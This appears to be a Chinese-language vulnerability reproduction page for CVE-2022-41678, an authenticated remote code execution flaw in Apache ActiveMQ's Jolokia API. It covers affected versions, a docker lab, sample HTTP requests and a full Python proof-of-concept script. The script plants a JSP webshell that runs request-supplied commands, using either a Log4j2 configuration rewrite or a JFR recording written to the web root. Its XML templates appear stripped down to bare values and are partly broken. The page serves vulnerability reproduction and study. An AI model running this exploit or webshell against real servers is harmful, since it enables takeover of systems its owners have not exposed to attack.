# Apache ActiveMQ Jolokia 后台远程代码执行漏洞 CVE-2022-41678 ## 漏洞描述 Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ 在5.16.5, 5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。 参考链接: - [https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt](https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt) - [https://l3yx.github.io/2023/11/29/Apache-ActiveMQ-Jolokia-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2022-41678-%E5%88%86%E6%9E%90/](https://l3yx.github.io/2023/11/29/Apache-ActiveMQ-Jolokia-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2022-41678-%E5%88%86%E6%9E%90/) ## 漏洞影响 ``` 5.16.0<=Apache ActiveMQ<5.16.6 5.17.0<=Apache ActiveMQ<5.17.4 ``` ## 环境搭建 Vulhub执行如下命令启动一个Apache ActiveMQ 5.17.3服务器: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8161/`后输入账号密码`admin`和`admin`,即可成功登录后台。 ![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204091317927.png) ## 漏洞复现 首先,访问`/api/jolokia/list`这个API可以查看当前服务器里所有的MBeans(请求头需要添加 `Origin`,否则返回 403 Forbidden): ``` GET /api/jolokia/list HTTP/1.1 Host: your-ip:8161 Cache-Control: no-cache Authorization: Basic YWRtaW46YWRtaW4= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Origin: http://your-ip:8161 Connection: close ``` ![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204091934982.png) 这其中有两个可以被用来执行任意代码。 ### 方法 1 第一个方法是使用`org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean`,这是由Log4j2提供的一个MBean。 攻击者使用这个MBean中的`setConfigText`操作可以更改Log4j的配置,进而将日志文件写入任意目录中。 使用[poc](https://github.com/vulhub/vulhub/blob/5d96555562f069319116531b38e09dd9ce6587e9/activemq/CVE-2022-41678/poc.py)脚本来复现完整的过程: ``` python poc.py -u admin -p admin http://your-ip:8161 ``` ![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204092600671.png) Webshell被写入在`/admin/shell.jsp`文件中。 这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ。 ### 方法 2 第二个可利用的Mbean是`jdk.management.jfr.FlightRecorderMXBean`。 FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。 使用[poc](https://github.com/vulhub/vulhub/blob/5d96555562f069319116531b38e09dd9ce6587e9/activemq/CVE-2022-41678/poc.py)脚本来复现完整的过程(使用`--exploit`参数指定使用的方法): ``` python poc.py -u admin -p admin --exploit jfr http://localhost:8161 ``` ![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204093153104.png) Webshell被写入在`/admin/shelljfr.jsp`文件中: ![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204093118072.png) ## 漏洞POC poc.py ```python #!/usr/bin/env python3 import sys import logging import requests import argparse import time from urllib.parse import urljoin from html import escape logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); ' 'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>') original_template = r''' ''' evil_template = r''' ''' record_template = r''' true true 1000 ms true everyChunk true 1000 ms true true true true true 20 ms true true 20 ms true true 20 ms true true 20 ms false true 20 ms true true 0 ms true true 0 ms true true 0 ms true true false true 0 ms false true false true beginChunk true beginChunk true 20 ms true 20 ms true 10 ms false 10 ms false 10 ms false 10 ms false 10 ms false 10 ms true 10 ms true true true everyChunk true beginChunk true beginChunk true beginChunk true beginChunk true beginChunk true beginChunk true beginChunk true true true true true true true false everyChunk true everyChunk true beginChunk true beginChunk true beginChunk true beginChunk false true true true true true true true true true true true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms false 0 ms false 0 ms true 0 ms true true true true true true true true true false false true false true true false everyChunk false false everyChunk false true false 0 ns true beginChunk true 1000 ms true 1000 ms true 60 s false false true beginChunk true everyChunk true 100 ms true beginChunk true everyChunk true true beginChunk true beginChunk true beginChunk true 10 s true 1000 ms true 10 s true beginChunk true endChunk true 5 s true beginChunk true everyChunk false true false true true everyChunk true endChunk true endChunk true true 20 ms true true 20 ms true true 20 ms true true 20 ms true true 20 ms false true false true false true false true false true true true true 1000 ms true true true true true 10 ms true 0 ms true 10 ms true 10 ms 20 ms 20 ms 20 ms false ''' class Application(object): def __init__(self, url, username, password): self.url = url self.session = requests.session() self.session.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/117.0.5938.132 Safari/537.36', 'Origin': url, } self.session.auth = (username, password) def request(self, method: str, path: str, *args, **kwargs): data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json() assert data['status'] == 200 return data def find_mbean_name(self): data = self.request('GET', '/api/jolokia/list') for name, val in data['value'].items(): if name == 'org.apache.logging.log4j2': for type_name in val.keys(): if type_name.startswith('type='): return f'{name}:{type_name}' for name, val in data['value'].items(): if name == 'jdk.management.jfr': for type_name in val.keys(): if type_name == 'type=FlightRecorder': return f'{name}:{type_name}' raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr') def modify_config(self, mbean: str, template: str): self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean=mbean, operation='setConfigText', arguments=[template, 'utf-8'] )) def exploit_log4j(self, mbean: str): self.modify_config(mbean, evil_template) logging.info('update log config') self.request('GET', '/api/jolokia/version', headers={ 'User-Agent': f'Mozilla ||| {webshell} |||' }) logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id')) self.modify_config(mbean, original_template) logging.info('restore log config') def exploit_jfr(self): record_id = self.create_record() logging.info('create flight record, id = %d', record_id) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='setConfiguration', arguments=[record_id, record_template] )) logging.info('update configuration for record %d', record_id) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='startRecording', arguments=[record_id] )) logging.info('start record') time.sleep(1) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='stopRecording', arguments=[record_id] )) logging.info('stop record') self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='copyTo', arguments=[record_id, 'webapps/admin/shelljfr.jsp'] )) logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id')) def exploit(self, action='auto'): mbean = self.find_mbean_name() if action == 'log4j': logging.info('choice MBean org.apache.logging.log4j2 manually') self.exploit_log4j(mbean) elif action == 'jfr': logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually') self.exploit_jfr() elif mbean.startswith('org.apache.logging.log4j2'): logging.info('choice MBean %r automatically', mbean) self.exploit_log4j(mbean) else: logging.info('choice MBean %r automatically', mbean) self.exploit_jfr() def create_record(self): data = self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='newRecording', arguments=[] )) return data['value'] def main(): parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ') parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console') parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console') parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit') parser.add_argument('url', type=str) args = parser.parse_args() app = Application(args.url, args.username, args.password) app.exploit(args.exploit) if __name__ == '__main__': main() ```